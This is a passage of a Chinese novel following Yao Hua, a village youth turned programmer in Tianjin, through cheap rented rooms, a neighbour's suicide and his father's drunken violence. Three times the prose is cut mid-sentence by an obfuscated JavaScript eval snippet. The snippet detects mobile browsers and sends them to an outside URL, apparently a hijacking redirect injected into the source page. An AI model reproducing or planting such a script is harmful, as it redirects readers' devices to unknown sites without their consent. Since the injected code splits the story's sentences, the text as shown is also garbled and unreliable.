姚华翻了个身,从背包里掏出那本《车工入门》。翻开,里面夹着一张纸,是他昨晚写的,密密麻麻的数字:二伯两千八,三叔五百,母亲糊火柴盒挣的八百,父亲抬尸体挣的六百,卖废铁挣的一百四,借邻居的三百,还有……还有他不知道怎么来的八百。 每一笔钱,都有一个故事,都有一个伤口。 他把纸撕碎,撕得很碎,碎得像雪。碎纸片从指缝漏下去,落在崭新的床单上,白茫茫一片,像一场微型雪崩。 然后他坐起来,从上铺的窗户往下看。校园里人来人往,都是陌生的面孔。远处,天津的街道纵横交错,像一张巨大的网。而在网的边缘,在三十里外,是盐坨村,是盐坨桥,是友谊罐头厂的烟囱,是补了三十双袜子的母亲,是拿出《车工入门》的父亲。 他逃出来了。物理上,他只逃了三十里,过了一座桥。但心理上,他逃到了一个父亲永远无法理解的世界:一个由代码、算法、二进制构成的世界,一个没有铁屑、没有糨糊、没有直沽高粱的世界。 可是,真的逃掉了吗? 姚华对着窗户哈了一口气。白雾在玻璃上晕开,模糊了外面的世界。他用手指,在那一小片雾气上,写了一个字。 逃。 字写得很大,很用力,几乎要划破玻璃。雾气很快散了,字也淡了,消失了,像从来没存在过。 但姚华知道,它会一直在。就像盐坨桥会一直在,桥下的浑黄河水会一直在,父亲眼中1974年的铁屑会一直在。 窗外,轻工业学院的上课铃响了,清脆,悠长。姚华从床上跳下来,穿上鞋——还是那双补过的鞋,鞋底又开胶了,走起路来啪嗒啪嗒响。 但他不在乎。他要去上他的第一节课:C语言程序设计。他要走进那个由0和1构成的世界,在那里,一切都清晰,一切都可控,一切都服从逻辑。 不像生活。不像盐坨桥那头的那个世界——那个爱和苦难搅在一起、感激和窒息难分彼此的世界。 他走出宿舍楼,走进九月的阳光里。自行车还停在楼下,车座上积了层薄薄的灰。他看了一眼,没去骑。 今天,他想走路。一步一步,踩在这片陌生的土地上,踩向一个未知的、但必须抵达的未来。 身后,宿舍楼的影子被拉得很长,长得像一条尾巴,一条他永远也甩不掉的、名叫“过去”的尾巴。而盐坨桥,就横在那尾巴的尽头,锈迹斑斑,但依然坚固,依然连接着两岸,依然提醒着他:有些逃亡,只是一座桥的距离;有些距离,却是一生都跨不过的桥。 10. 第十章 地藏庵胡同 高新区的楼,脸刮得青白,半道皱纹也寻不见。中亚数据公司那面玻璃幕墙,人打跟前过,瘦的榨成丝,胖的熬成饼,总归照不出本相。姚华头回去,借的领带在脖上扭成麻花,墙里那人肩膀垮着,西装空荡荡,能塞进两棵冬储白菜。他心想,这哪里是玻璃,分明是杆秤,专秤人的斤两。 人事的姑娘话赶话,脆生生像打算盘:“月薪一千八,试用仨月。转正三千二。十五号发工资,打卡。迟到扣五十,三回算旷工。”工牌递过来,塑料片冰凉,蓝带子一套,颈上一紧——像是牵牲口进圈前,给挂个铃铛。照片是毕业前慌忙照的,那天晌午为啃馒头还是嚼烧饼,愁得眉头锁死,苦汁能拧出二两。 办公区敞得心慌,格子间挨挨挤挤,嗡嗡响。姚华的座儿靠窗,电脑是旧年款式,显示器厚实,能防身。邻座一头卷毛,不像敲代码的,倒像搞艺术的。“新来的?”那人眼不离屏,手指在键盘上乱跑,像给机器搔痒。 “哎,试用。” “哪儿的山门?” “轻工业学院。” “哦。”卷毛扭过身去,后脑勺油亮亮,反着光。 食堂在地下,灯暗得像窖。姚华打最便宜的档口:白菜豆腐土豆丝,五块钱。找座时看见卷毛也在,饭盒里卧着几块红烧肉,颤巍巍,油光红亮,朝他招手似的。姚华在对面试探着坐下:“姚华。” “瞅见了,”那人夹起一块肉,“姓刘,刘洪汕。” “刘工。” 刘洪汕不答,专心对付肉。吃完抹嘴:“住处定了?” “还没。” “高新区金贵,上海河那头瞅瞅,教堂边上,地藏庵大街。” 下班姚华真去了。名叫大街,实是条瘦肠子胡同,两人走对面得斜着身子。电线杆上招租的条子,被雨咬过,字迹洇成泪痕。第三个电话是个老太太接的,嗓子粗得像砂纸打铁:“单间,八平米,二百八。” “能瞅眼?” “来呗。” 胡同深处有个院子,老槐树歪着脖子,偷听了几十年的私语。老太太把厨房隔出一半——真就是一半,三合板一挡,高不过胸口,进门得弯腰,像钻洞。里头一张行军床,小桌瘸了腿,用砖垫着,窗户糊着旧报纸,铅字反印在玻璃上,像天机倒着写。 “就这?” “就这。”老太太叉着腰,“爱租不租,这价钱,比一个月煎饼果子还贱。” 姚华摸了下墙,墙皮簌簌地落,像人老了掉头皮屑。他还是租了——二百八,在城里就买这么大个棺材瓤子,刚够躺直。 交钱时手抖。卡里四千七,是四年大学里卖洗澡票,一张张攒的。押三付一交罢,剩三千五百四。老太太从里屋抱出床褥子:“旧的,四十。晒过了,没虱子。” 褥子有股樟脑味儿,像打开一口老箱子。铺床时,床吱呀呀响,像老人叹气。 夜里隔壁窸窸窣窣,像老鼠嫁女。后半夜忽然有女人哭,声压得低,从地缝里渗出来。姚华蒙上头数数,数到一千八,天麻灰灰亮了。 第二天上班,玻璃墙里那人还是瘦,西装皱得像腌菜叶子。刘洪汕斜他一眼:“租了?” “租了,地藏庵大街。” “那地方啊……”刘洪汕话吐半句,缩回去,键盘敲得山响。 发工资那天,短信来时,姚华正在调一段死循环。一千八,他数了三遍。取了五百块新票子,去中山路“燎原鞋店”买了衬衫、裤子、皮鞋,拢共三百五。回隔间换上,衬衫领子硬得硌脖子,裤腰能再塞进半个自己,皮鞋咬脚,走一步,疼一步。 周末张玉芬来,提着一饭盒饺子。“茴香馅,”她说,“你从小就好这口。” 饺子还温着,姚华咬一口,茴香味冲脑门。张玉芬打量这隔间,眉头拧成疙瘩:“这能住人?” “能躺就行。” “窗都不透亮。” “透亮的,得加钱。” 张玉芬不言语了,摸摸被子:“薄,入冬咋办?” “入冬再说。” “再说?”张玉芬声调扬起,“冻死在这儿,谁给你收骨头?” 姚华闷头吃饺子。张玉芬走时,往枕头底下塞了五百,五张连号新票子,硬挺挺的,像五片膏药。 夜里姚建国来电话,是个陌生手机号。他那头背景是哗啦啦的麻将声。“上班了?”声音瓮着。 “上了。” “干啥营生?” “写代码。” “几个钱?” “试用期一千八。” 电话那头静了,只剩麻将牌碰撞,清脆脆的,像在算账。过了半晌,姚建国说:“一千八……能买二百斤上好白面了。” 电话挂断,忙音拖得老长。姚华泡了碗面,切了根火腿肠铺上,给苍白的日子添点荤腥。吃到一半,隔壁忽然闹起来,有人喊“快解下来!”“没气儿了!”,脚步声杂沓,踩得院子心慌。 第二天一早出门,隔壁门口围了一圈人。房东老太太正跟警察说话:“……穷哩,欠了三个月租子,我说不急,他倒急上了……”人群里知情的低声补:“上吊,裤腰带,拴暖气管子上了。” 姚华挤过去看。门开着,屋里比他那间还窄,一张板床,一个炉子,墙上贴着明星画报,画上的人笑出一嘴白牙,没心没肺。地上用粉笔画了个人形,白乎乎的,像给影子描了边。 去上班路上,煎饼摊大姐问:“住地藏庵那块儿?”姚华点头。大姐舀一勺面糊摊开:“昨儿夜里那档子事儿,听说了?唉,这人世……”鸡蛋磕在铁板上,滋啦一声,像句叹息。 玻璃墙还是那堵墙。姚华走过,看见自己影子被扯得细长,长得像根绳。他突然想,昨夜那人蹬开凳子时,最后一眼看见的是什么?是斑驳的天花板,是笑盈盈的明星画,还是窗外那绺被胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119417|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同挤成线的天? 坐到工位上,刘洪汕凑过来,压低嗓子:“地藏庵,昨儿夜里?” “嗯。” “去年也有一个,喝药的。”刘洪汕推推眼镜,“穷病,没方子治。” 姚华打开电脑,代码一行行绿着。他敲键盘,敲得特别重,像要把钉子楔进木头里。敲着敲着,想起母亲塞的那五百块钱,连号的,崭新的,在抽屉最底下压着。又想起父亲那句“二百斤白面”,想起上吊那人墙上的画报,明星正冲他笑,笑得像个巨大的嘲讽。 下班回胡同,隔壁门封了,交叉贴着封条,像个打错的“×”。院里邻居聚着嘀咕,声音压得低,怕惊动什么。“可惜了,才三十一。”“听说老家留着娃呢。”“债主逼的?” 老太太看见姚华,招手让他近前:“吓着了吧?今儿给你换床厚被,不加钱。” 夜里裹着新被子,还是冷。听见院里野猫叫,一声长,一声短,像婴孩夜啼。姚华数数,数到一千八,数到三千二,数到五千——是他半年能攒下的数。数着数着,忽然明白了那玻璃墙为啥照人变形:它照的不是皮囊,是皮囊里头那点分量。瘦了显轻,胖了显沉,横竖没个准谱。 就像这地藏庵大街,名儿叫大街,实是条穷肠子;就像隔壁死了人,上午哭过,下午就有人来看房;就像他这一千八,在村里是笔款,在城里只够喘气——喘着气,像墙皮上的霉斑,见不得光,可也死不透。 他翻身,床又吱呀呀响。这回他听真了,那响声在说:活着,活着,活着。 窗户外面,教堂尖顶在黑夜里化成一抹剪影。姚华想起白天路过时,看见墙上那句“神爱世人”。他想问,神爱不爱地藏庵胡同的人?爱不爱用裤带上吊的人?爱不爱一个月挣一千八、还得挤出五百寄回家的人? 没人应他。只有野猫又叫了一嗓子,凄厉得很,把夜撕开一道口子。 明天还得上班,还得经过那面玻璃墙,还得敲代码,敲出一条条路——不知通到哪儿,但总得敲。就像公交站旁那卖煎饼果子的,天天刮铁板,刮出一张张饼,养活着自己,也养活着这条胡同的清晨。 姚华闭上眼,这回没数数。他听见自己的心跳,咚,咚,咚,敲得慢,但实沉。像在叩一扇门,门那头是什么不晓得,但叩着,就说明这口气还没断。 气不断,就能看见明天的煎饼摊,能看见玻璃里变形的自己,能看见代码变成钱,钱变成饭,饭变成力气,力气变成下一个明天。 也够了。他想,天津卫六百多年了,多少人在这些胡同里活过、死过、烂过,不差他一个。可既然来了,总得活出个样儿——哪怕只是在玻璃墙上照出个歪样儿,也得是抻直了脊梁的歪样儿。 窗外,教堂钟声没响,倒听见远处火车拉笛,呜——悠悠长长,像一声叹息,叹给这座城,叹给海河,叹给地藏庵胡同,叹给所有在夜里睁着眼、数着明天的人。 11. 第十一章 代码是新语言 高新区给三千二,税前。姚华蹬车过盐坨桥那天,合同在帆布包里窸窣响。桥栏杆锈得斑驳,红一块褐一块,像腌过头又风干了的腊肉——盐坨桥这名儿不虚,早先明清两代,这儿是北地最大的盐码头。如今盐早没了,剩个名儿,和桥底下五颜六色的塑料袋,在太阳底下反着腻光。 村里人还自称“盐坨人”,其实跟盐的交情,就剩炒菜时多抖的那一撮。姚华在桥头刹住车,瞅见桥墩上滚着红漆大字:“盐坨盐坨,越活越矬”。底下有人添了句:“放屁,是你自个儿矬”。两行字中间画了个肥猪头,咧着嘴,倒像在笑。姚华也咧了咧嘴,笑完心里空了一块。这桥连着两头:南边起高楼,玻璃幕墙亮得晃眼;北边卡在八十年代出不来,墙皮脱落露出里头的青砖。代码,成了他过桥的票。 回家辞行。张玉芬那辆三轮车竟宽了些——不知从哪拆了块门板钉在侧边,多摆了两摞《黄冈密卷》。家里那台二手电脑还嗡嗡响着,键盘字母磨平了大半,张玉芬拿涂改液一个一个描上去,白的,歪歪扭扭,像新生儿刚冒的乳牙。 “妈,我得去高新区了。”姚华说。 “哦。”她又开始敲键盘,敲得慢,一个键一个键往下摁,像在数数,“那……还回来不?” “回,放假就回。” 张玉芬点点头,不说话。过一会儿忽然站起,开抽屉摸出个蓝布包袱,一层层揭开,里头一沓钱,边角齐整。“拿着,”她说,“外面吃饭贵。” 姚华一瞅,少说三千。鼻子蓦地一酸:“我有钱,开三千二呢。” “那是你的。”张玉芬硬往他手里塞,指关节硌人,“这是妈的。卖书挣的。” 钱是新票子,油墨味儿冲鼻——跟早年糊火柴盒挣的毛票味儿不一样。姚华想起小时候,母亲糊一个火柴盒挣三厘,要糊十万个才抵得上这沓。现在呢,卖一本《五年高考三年模拟》能落三块。世道变了,变的不是人,是活法。 “那程序还好使?”他问。 “好使。”张玉芬笑了,皱纹挤成一团,“就是爱闹鬼。” “闹鬼?” “啊。明明进了二十本《中考复习提纲》,它愣说二十五本。多出来那五本,天上掉下来的?”她压低声音,神神秘秘,“我寻思是早年淹死的盐工,阴魂不散,也想考学。” 姚华乐了:“那是程序出错了,漏洞。我给您瞧瞧。” 查代码。果然,库存函数里他把“+=”写成了“=+”,每回进货都凭空多出五本。这么糙的错,自己竟一直没发觉。人看自己的毛病,总像隔层雾。 “不是鬼,”他边改边说,“是您儿子写瓢了。” 张玉芬凑过来,屏幕上满是弯弯绕绕的洋字码。“就这些勾勾圈圈,能记住我进了多少书?” “能。” “真神了。”她摇头,“比盐坨娘娘还灵。” 盐坨娘娘是村里的保家仙,传说是明朝跳河的盐商闺女变的。姚华记得小时候,娘牵他去拜,求娘娘让他“脑子活泛点,别像爹妈似的一根筋”。如今想来,娘娘兴许真听见了——没让他变机灵,倒让他学会了代码这门新咒语。世上的事,求的和得的,常是两样。 走那天,姚建国罕有地起了早,闷声送到盐坨桥。过桥时,他忽然开口:“这桥……我爷爷那辈就有老桥,骡车运盐,一辆接一辆,桥震得轰隆隆响。” 姚华等着下话。 “后来老桥塌了,修了这座。”姚建国盯着桥面,眼神空茫茫的,“盐没了,桥也老了。” 桥是真老了。栏杆锈穿了眼,桥面坑洼洼,走上去咚咚响,像桥在咳嗽。姚华想起教授说过的“技术债”——代码写糙了,后人就得没完没了打补丁,跟这桥一个命。 “爸,”他说,“等我挣了钱,接您跟妈上市里住。” 姚建国笑了,笑得皱巴巴:“市里有啥好?天还不是一样的天。”顿了顿,“你好生干。写字儿……编程,能挣钱,就踏实挣。” 这是爹头一回正眼瞧他的营生。姚华愣了愣,点头:“嗯。” 蹬车时姚华不回头,但盐坨村一直在往后褪。那些矮趴趴的平房,歪斜的电线杆,堆成小山的垃圾,在晨雾里糊成一片灰影子。他想,自己可能再也不回来了——不是不想,是不敢。怕一回来,就让那黏糊糊的穷重新裹住,像桥底的淤泥,踩进去就拔不出脚。 高新区的日子跟想的不一样。说是小中关村,公司却挤在旧写字楼里,电梯慢得像喘不过气,楼道永远飘着麻辣烫和盒饭的混合味儿。他干开发,天天写Java,跟上学时没两样,就是更忙,更累,钱多些。 头个月发薪,税后两千八。他给家里打了两千。张玉芬打电话来,声儿发紧:“寄这么多干啥?你不过了?” “够花。”姚华说,“中午管饭。” 他没说食堂白菜炖粉条里捞出过钢丝球;没说天天熬到夜里十点,回去倒头就睡。 第二个月,项目上线。庆功宴上,项目经理喝高了,拍他肩膀:“小姚,你代码扎实,就是太实诚。这行里,实诚人吃亏。” 姚华笑笑,没接话。他想说,在盐坨村,实诚是唯一的活法。耍滑?盐会潮,车会翻,桥会塌。可这话到嘴边又咽了回去,只又灌了一杯。酒辣,辣得他想起爹喝的那散装白酒,一块五一斤,喝完就拍桌子骂街。 年底,公司接了个大活儿——给连锁书店做全国库存系统。姚华分到核心模块。需求会开了三天,产品经理在白板上画了擦,擦了画,最后说:“咱们要的,是能实时同步全国三千家门店的系统。哪家店卖出一本书,系统立马更新。” 有人问:“断网咋整?” “本地存着,网好了再同步。” “同时买的人多了呢?” “分库分表,读写分离。” “数据对不上呢?” “最终一致就行,允许短时不一致。” 姚华听着,脑子里晃的却是娘推车去二中门口卖卷子,家里那台嗡嗡响的电脑,那个会把“+=”写瓢的简易程序。三千家店,三十万家店,骨子里跟那辆三轮车有啥区别?都是书进,书出,不过数字后头多几个零。零多了,人就晕了;人一晕,就觉得事儿大了。 他揽了最难的同步模块。那阵子,他真成了代码的囚徒。白天写,夜里写,梦里还在写。有时候写着写着,冷不丁想起盐坨桥——那座连起两个世道的桥。他现在写的代码,不也是座桥么?连着北京的服务器和全国三千家书店,连着数字世道和真人世道。 桥。哪儿都是桥。盐坨桥是水泥的,他写的桥是代码的。水泥桥会塌,代码桥也会崩。不一样的是,水泥桥塌了砸死人,代码桥崩了,顶多让三千家书店的库存数乱成一锅粥——乱完了,还能重来。虚拟世道的好处是,错了能重来;坏处也是,错了能重来,人就容易不当回事。 上线前夜,全组熬通宵。凌晨三点,姚华去洗脸,镜子里那张脸陌生得很:眼窝深陷,胡子拉碴。他想起爹在海河边挖沙的样儿,也是这般倦,这般木。区别是,爹挖的是真沙子,他挖的是虚代码。真沙子砌墙盖房,虚代码砌什么呢?砌一座座看不见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119418|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的城。 真魔幻啊。他对着镜子笑了。盐坨村的儿子,在高新区地下室里,写着管全国书店库存的代码。而他娘,正用他写的第一个漏洞百出的程序,管着三轮车里那点卷子。这中间隔着的,不止是几百里地,更是几十年光景。可光景和光景挨着,像书架上两本不同的书,脊贴脊站着,里头的故事却不挨着。 系统到底上线了。跑得顺当。庆功宴在高档酒店,姚华穿着唯一那身西装,缩在角落,看同事们举杯。有人喝高了开始吹,说这系统三年能占全国市场。姚华听着,忽然想起盐坨桥头那涂鸦:“盐坨盐坨,越活越矬”。 也许盐坨人永远“矬”,可矬有矬的活法。就像那桥,锈了,旧了,走上去吱嘎响,可它还杵在那儿,连着两岸,驮着每天来来往往的人——上班的,上学的,卖菜的,收破烂的。它不气派,但得用。得用的东西,就有它的道理。 宴散了,姚华一个人走上酒店外的天桥。高新区的天桥跟盐坨桥不一样,新,宽,灯亮堂堂,照得人影清晰。他靠着栏杆,看桥下车流,红尾灯连成一条河,淌向没尽头的远处。这河也是桥,车流是水,载着人去不同的地方。 手机响了,是娘。“华子,你那程序,又闹鬼了。” “这回咋了?” “我明明一本没卖,它今儿愣说,卖了五百本《中考500题》。”张玉芬声儿里带着笑,“盐坨娘娘这回要考状元了?” 姚华也笑了:“妈,那是有人从网上书店下单了。我做的那大系统,跟您这小程序连着呐。全国任一家店卖书,您这儿都显。” 电话那头静了好一阵。然后张玉芬说:“全国……有多大?” “大得很,”姚华说,“顶几千个盐坨村。” 又是静。最后张玉芬说:“那你……好生修桥。别让桥塌了。” 姚华怔了怔,明白了。娘不懂代码,不懂系统,不懂啥叫同步啥叫并发,可她懂桥。在她看来,儿子干的活,就是修桥——修一座看不见的桥,连着小盐坨村和大世界。世界大了,就容易空;桥长了,就容易晃。可再晃,也得修。 “嗯,”他说,“塌不了。” 挂了电话,姚华还瞅着桥下车流。那些红点,像代码世道里淌的0和1,有序,又乱序。他忽然想起教授的话:“代码是这年头的通用话。” 是啊,通用话。可说这话的人,有的在五星酒店举杯,有的在盐坨村拿涂改液描键盘。他们说的一样话,却活在两个世道。世道和世道之间,缺的不是话,是桥。 他能做的,就是接着修桥。用一行行代码,修一座从盐坨村通到高新区、通往更远处的桥。也许桥会晃,会响,会吱吱呀呀抱怨,可它总会在那儿。就像盐坨桥,就像在年头浪里扑腾的平常人,就像代码世道里那些看着凉、实则暖的数据流——暖,是因为那背后是一个个真人,买书,卖书,过日子。 夜深了,姚华走下天桥。影子在路灯底下拖得老长,长得像座桥,通到望不见的远处。而在远处的盐坨村,在那台嗡嗡响的二手电脑前,一个描白字键盘的女人,正用儿子教的新话,记着这年头最微小的奇事——一本书,从她手上,流到了一个她想不出有多宽展的世界。世界宽展了,人就小了;人小了,心事却大了。 桥没塌。事儿还在往前赶。代码,这新时节的盐,正悄悄改着每一寸土,每一个活人。盐腌东西,为的是不坏;代码编世界,为的是记住。记不住的东西,就跟从来没存在过一样。而改本身,就是最魔幻的真事儿——真到你以为是在做梦,梦醒了掐自己一把,疼。 12. 第十二章剥蒜的人 清明这天的雨,下得黏糊。不是江南那种细蒙蒙的愁,是北方平原上特有的、掺了尘土的黏,像谁家熬浆子没熬到时候,半生不熟的,糊在天上,再一绺一绺地往下淌。 姚建国是从晌午开始喝的。酒是散装的,塑料桶里澄着,他就着半包花生米,一颗能嘬三口。电视里正放《还珠格格》,小燕子的咋呼声穿过雨帘,直往人耳朵眼里钻——你说这电视也是怪,平时好好的,一到过节,偏要放这些热闹的,好像非要衬出谁家的冷清不可。 张玉芬在厨房剁馅。刀是老刀,刃口缺了几处,磕在案板上的声儿,哆哆哆,跟心跳合着拍。放假回家的姚华坐板凳上剥蒜,蒜皮黏在指缝里,搓来搓去搓不净——这世上的事大多这样,你想弄干净的,偏要黏着你。 “看啥电视!看啥电视!”姚建国突然吼了一嗓子。声儿像面破锣,敲了二十年,早破了音。 没人搭腔。这是姚家二十年攒下的活命经——醉鬼找茬时,最好当自己是墙皮,是地砖缝,是空气里浮的灰。你应一声,他能顺着话头爬上来,缠你一身酒气。 可今儿姚建国要的不是搭腔。他晃悠着站起来,手里还攥着酒瓶子。电视上紫薇正哭呢,哭得一波三折,肝肠寸断。他瞅着屏幕上那张脸,突然笑了,笑出两行泪来。 “你也哭!你哭个屁!”他指着电视骂,“老子都没哭!” 酒瓶抡起来时,张玉芬刚探出头。她看见男人的背影在荧屏光里胀大,胀成一个巨大的、变形的黑影,像皮影戏里张牙舞爪的妖魔。然后是一声闷响——不是脆生生的碎裂,是那种沉甸甸的、像内脏破了肚的动静。 显像管炸了。玻璃碴子崩开,在昏昏的屋里划出无数道短亮线,像流星,像过年放的炮仗,像这家从没有过的、短暂的热闹。 有片玻璃擦着姚华脸边飞过去,凉飕飕的。他没动,接着剥蒜。蒜瓣在手里捏着,汁子渗进刚才划出的细口里,刺辣辣的——人这一生啊,大多数疼都不是大张旗鼓的,是这种丝丝拉拉的、渗着辛辣的小口子。 姚建国站在废墟前头喘气,酒醒了一半。他瞅瞅地上碎碴,瞅瞅呆立的老婆,最后瞅向儿子。那眼神是空的,像口枯井。 “看啥看!”他又吼,可底气虚了,尾音飘着,像片落叶。 姚华放下蒜,站起来。走到娘身边,拉住她胳膊。张玉芬的手还在抖,上头沾着韭菜末——绿的,在昏光里像锈。 “走。”他就说一个字。 张玉芬没动。她看看男人,看看满地狼藉,又看看儿子。这五十四岁的女人眼里,有啥东西正一点点灭,像灶膛里最后一星火,噗,灭了。 “去哪儿?”她声儿轻得像叹气,叹完就散在空气里。 “我那儿。” 姚建国这时回过神,冲过来要拦。一脚踩玻璃碴上,滑了个趔趄,整个人扑茶几上。啤酒瓶倒了,黄汤子在地板上漫开,混着玻璃碴,混着电视机零件,混着九八年那张全家福的碎屑——照片里仨人都抿着嘴,像牙疼忍着,忍着不喊疼。 姚华没回头。他拉着娘跨过盐坨桥,走进雨里。雨打在脸上,跟刚才蒜汁剌伤口一个滋味——辣过后,是麻木的凉。 地藏庵胡同那老砖楼,姚华把上吊死人那屋也租下了。为啥租这间?房东老太太说得实在:“死过人的,便宜。一月一百五,两间凑一块儿才四百。”老太太说话时眼睛瞟着他,像在估量这年轻人的胆子有几斤几两。 姚华没犹豫——他那个隔间,娘来了咋住?总不能娘俩挤一张行军床,头对脚像两尾咸鱼,翻身都得喊一二三。 签合同时老太太又嘀咕:“那屋……你真要?吊死过人的,一个老光棍。” “要。”姚华数钱,数得仔细,“押一付三,这是一千二。” “你娘也来住?” “嗯。” 老太太瞅他一眼,眼神复杂得像团乱麻:“也是,吊死鬼总比醉鬼强。至少清静。” 老太太这话说得在理。世上鬼分两种:一种是不说话的死人变的,一种是活人变的、专说醉话的鬼。两害相权,多数人宁可选前者。 厕所还在走廊尽头上,半夜要解手得提痰盂——痰盂是红色的,印着双喜字,不知哪个新婚夫妇留下的。可两间屋连起来,总算有八九平米了,窗户对着教堂尖顶,每天清早有鸽子落那儿咕咕,咕得像在开小会。 姚华把两屋中间的隔板拆了——本来就是三合板,一撬就开。这下宽敞些,能摆两张窄床,中间拉个布帘子。布是蓝底白花的,像小时候娘的被面。 搬家那天姚华请了半天假。张玉芬的全部家当就一个编织袋:几件换洗衣裳,那把剁馅的刀,还有那袋教辅书。她说这些书和试卷是好货,能变钱——“知识就是力量,这话不假,至少能换成钱。” 新家头一晚,静得让人心慌。没摔东西声,没醉话,没那种憋着要炸的闷。只有雨声,和隔壁老头咳嗽——老头咳得有节奏,像在给这静夜打拍子。 张玉芬坐床沿上发呆。两张床都是一米宽,中间隔道布帘子。姚华在墙上钉钉子挂衣裳,锤子敲砖墙上,咚咚咚,像心跳总算回了正拍——虽然这心跳是钉出来的,勉强得很。 “你爸……”张玉芬开口,又咽回去了。话在喉咙里转了个圈,化成一声叹息。 “甭管了。”姚华说,“以后就咱俩。” “那他一个人……” “死不了。”姚华钉完最后一颗钉子,“有酒就行。酒是他的命,也是他的药,治百病,也生百病。” 布帘子拉上,这边一张床,那边一张床。那一宿姚华睁眼到天亮。他听着帘子那头的呼吸声,听着窗外偶尔过的摩托声,听着这陌生地界所有的声儿。没一样是熟的,这反倒让他踏实——至少,帘子那头的人,不会突然抡酒瓶子。人活着,图的不就是个“至少”么? 第二天张玉芬又去卖教材和试卷了。摊子还在二中门口。姚华下班路过时瞅见,娘的白发在风里飘,推着三轮车躲城管时跑得踉踉跄跄。旁边修鞋的老头喊:“张姐,慢点儿!书又不会长腿跑了!” 张玉芬回头笑笑,那笑里有种陌生的东西——是轻松,虽然只是一丁点儿,像早春枝头那点绿芽,怯生生的,但毕竟是绿了。 周末姚华去帮忙。有个家长翻着《黄冈密卷》问:“大姐,您儿子干啥的?” 张玉芬顿了顿:“写程序的。”这话她说得顺溜,像背课文。 “哎哟,高科技!”家长眼睛亮了,“在哪儿高就?” “高新区。”张玉芬又补一句,“搞计算机的。” “有出息!”家长痛快地付了钱,“怪不得您这么大年纪还出来卖书,锻炼身体吧?享福的命啊!” 张玉芬笑着点头,接过钱。等家长走了,她低头理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119419|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书,理了很久。姚华看见她手指在“黄冈”俩字上摩挲,摩挲得塑料封皮都发热——烫手。这感觉姚华记了很久。就像他这人,封面看着光鲜,“高新区”“写程序”,摸上去却烫手。都以为他在写字楼里敲键盘,风光得很,谁知道他娘在二中门口卖教辅,谁知道他爹在盐坨村喝得烂醉,谁知道他们家住的是死过人的屋子,中间只隔一道布帘子? 可至少,娘不用挨打了。至少,半夜醒来不用提心吊胆了。至少,布帘子那边传来的呼吸声是平稳的,不是压抑的抽泣。人生在世,“至少”多了,也能凑成个“够”字。 收摊回去的道上,张玉芬推三轮车,姚华跟旁边。过教堂时,正好听见里头唱诗。咿咿呀呀的调,听不清词,可平和,平得像块磨刀石,能把心里的毛糙都磨平了。 “妈。”姚华突然说。 “嗯?” “等我有钱了,给您租个门脸。” 张玉芬笑了,笑声让风吹散,散成碎片:“那敢情好。要临街的,玻璃窗亮堂堂的,太阳一照,满屋金光。” “嗯,亮堂堂的。”姚华重复着。这话像颗种子,先种下再说,能不能发芽,看天意。 他们接着走。三轮车轮子吱呀吱呀响,像给这话配乐。夕阳把俩人影子拉老长,长得能盖满整条巷子。影子叠一块儿,分不清谁是谁的——分那么清干啥呢?本来就是骨血连着筋的两个人。 姚华想起盐坨村那个家。这会儿爹在干啥?大概又在喝,就着花生米,对着黑屏的电视机——显像管炸了,他舍不得修,也修不起。一个人,一盏灯,一屋酒气。那是他自个儿选的道,怨不得谁。人这一生,大多时候不是走在路上,而是困在自己选的坑里,有人爬出来了,有人还在里头蹲着,蹲成习惯,蹲成风景。 回到出租屋,张玉芬烧水做饭。炉子冒着蓝盈盈的火苗,映着她的脸。姚华板凳上,接着剥蒜——今儿的蒜是从菜市场弄的,卖菜的王婶说,这些蒜头长得丑,没人要,可剥开来,里头是一样的蒜瓣。这话说得通透:外表的光鲜都是给人看的,内里的辛辣才是自己的。 蒜皮还黏手,搓来搓去搓不净。姚华低头瞅自己这双手,忽然笑了。 笑啥?不知道。就觉得,人这一辈子啊,真像剥蒜——你以为剥掉一层就干净了,其实下头还有一层。一层又一层,没完没了。可你还得剥,因为不剥,就吃不着蒜。而日子这盘饺子,没蒜,就没味儿。醋可以没有,酱油可以没有,唯独这蒜,这辛辣的、催人泪下的东西,不能少。 窗外教堂传来钟声,当当当,敲了七下。鸽子又飞回来了,咕咕咕咕,像在唠一天的见闻——东家吵嘴了,西家生孩子了,菜价又涨了,都是这些鸡毛蒜皮。 姚华站起来,走到窗边。他看见教堂尖顶上落满了鸽子,灰扑扑一片,在暮色里都快瞅不清了。可他知道它们在。一直都在。 就像盐坨村那个醉醺醺的爹,就像二中门口那辆三轮车,就像这间死过人的屋子,就像布帘子那头均匀的呼吸——它们都在,构成了他全部的人生。好的,坏的,辣的,苦的,掺在一块儿,就是他的命。 